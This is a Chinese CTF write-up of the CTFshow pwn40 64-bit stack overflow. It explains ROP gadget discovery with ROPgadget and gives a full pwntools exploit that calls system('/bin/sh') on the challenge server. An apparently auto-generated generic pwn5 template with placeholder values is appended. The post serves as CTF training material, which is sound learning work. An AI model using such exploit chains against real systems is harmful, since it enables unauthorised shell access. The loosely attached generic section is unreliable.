CTFshow-PWN-栈溢出(pwn40)

本文聚焦64位Linux系统,介绍了ROP攻击方法。分析64位程序与32位程序传参规则差异,利用ROPgadget工具获取rdi和ret地址,构建特定payload格式,将/bin/sh字符串地址放入rdi寄存器,调用system函数执行系统命令,最终成功拿到flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

64位的 system(); "/bin/sh"

检查:

64 位程序

拖进 ida64 分析:

前面讲过的基础这里就不再过多说明,主要差别就是这里是 64 位程序

确定到栈底的距离:0xA

 /bin/sh 字符串的地址:0x400808

system 函数的地址:0x400520

对于 32 位程序来说这些已经够了,但是这里是 64 位程序

首先我们需要知道 64 位程序与 32 位程序传参规则的不同:

在 32 位汇编中,参数是直接放在堆栈上的,而不是放在寄存器上。

但是对于 64 位汇编,当参数少于等于 6 个时,参数从左到右依次放入寄存器:rdi、rsi、rdx、rcx、r8、r9。当参数为 7 个以上时,前 6 个参数仍然按照上述规则放入寄存器,但是第 7 个及以后的参数从右向左依次放入栈中。也就是说要先把六个寄存器放满了才会考虑放入栈。

有的题,里面既没有现成的 system 函数,也没有 /bin/sh 字符串,也没有提供 libc.so 给我们,那么我们要做的就是想办法泄露 libc 地址,拿到 system 函数和 /bin/sh 字符串,我们就需要获取 rdi, rsi, rdx, rcx, r8, r9 它们的地址,首先要获取的是 rdi 的地址。

rdi 的地址我们使用工具 ROPgadget 来获取:

ROPgadget --binary pwn --only "pop|ret" | grep rdi

参数解释:
--binary pwn: 指定了要分析的二进制文件的文件名。
--only "pop|ret": 指定了只查找包含"pop"和"ret"指令序列的代码片段,这些指令通常用于弹出寄存器中的值,并将控制流返回到调用函数的地址处,是ROP攻击中常用的gadgets。
| grep rdi: 将ROPgadget的输出传递给grep命令,然后使用grep命令筛选出包含"rdi"寄存器的代码片段,这样就可以只找到包含"pop|ret"指令序列并且弹出rdi寄存器的gadgets。

gadgets 指的是程序中的一些短小的代码片段,这些代码片段通常以一种特定的指令序列结尾,比如"ret"指令。(就是以 ret 结尾的指令序列)

找到 rdi 的地址:0x4007e3

接下来我们还需要获取 ret 的地址:

使用 ROPgadget 工具扫描二进制文件,提取其中的代码片段(gadgets),并识别其中有用的指令序列,比如 pop 和 ret 等。

ROPgadget --binary pwn

找到 ret 的地址:0x4004fe

payload 格式:

payload = b'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh)  + p64(ret) + p64(system)

0xA+8个填充字节(用'a'填充):用于填充到栈溢出的位置,达到返回地址的偏移。
pop_rdi:用于将下一个值弹出到rdi寄存器中。
bin_sh:需要执行的系统命令字符串的地址。
ret:用于绕过栈中的返回地址,返回到调用者。
system:系统函数system的地址,用于执行系统命令。

在这个顺序下,首先会使用 pop_rdi 指令将 bin_sh 的地址加载到 rdi 寄存器中,然后通过 ret 指令返回到调用者,从而间接地调用了 system 函数,实现了执行系统命令的目的。 

在64位的Linux系统中,参数传递是通过寄存器来完成的,而 system 函数的第一个参数(即需要执行的命令字符串)是通过 rdi 寄存器传递的,所以,我们首先需要将 /bin/sh 字符串的地址放入 rdi 寄存器中,然后才能调用system函数,这就是为什么我们需要知道 pop rdi ;ret 指令序列的地址,因为它会将栈顶的值弹出到 rdi 寄存器中,而 ret 指令的作用是用于绕过栈中的返回地址,通过 ret 指令返回到调用者,从而间接地调用 system 函数。

编写 exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28286)
payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)
p.sendline(payload)
p.interactive()

命令执行 

拿到 flag:ctfshow{b07ab0bb-6d6c-425f-a49f-163e400a46a7}

### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库表项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值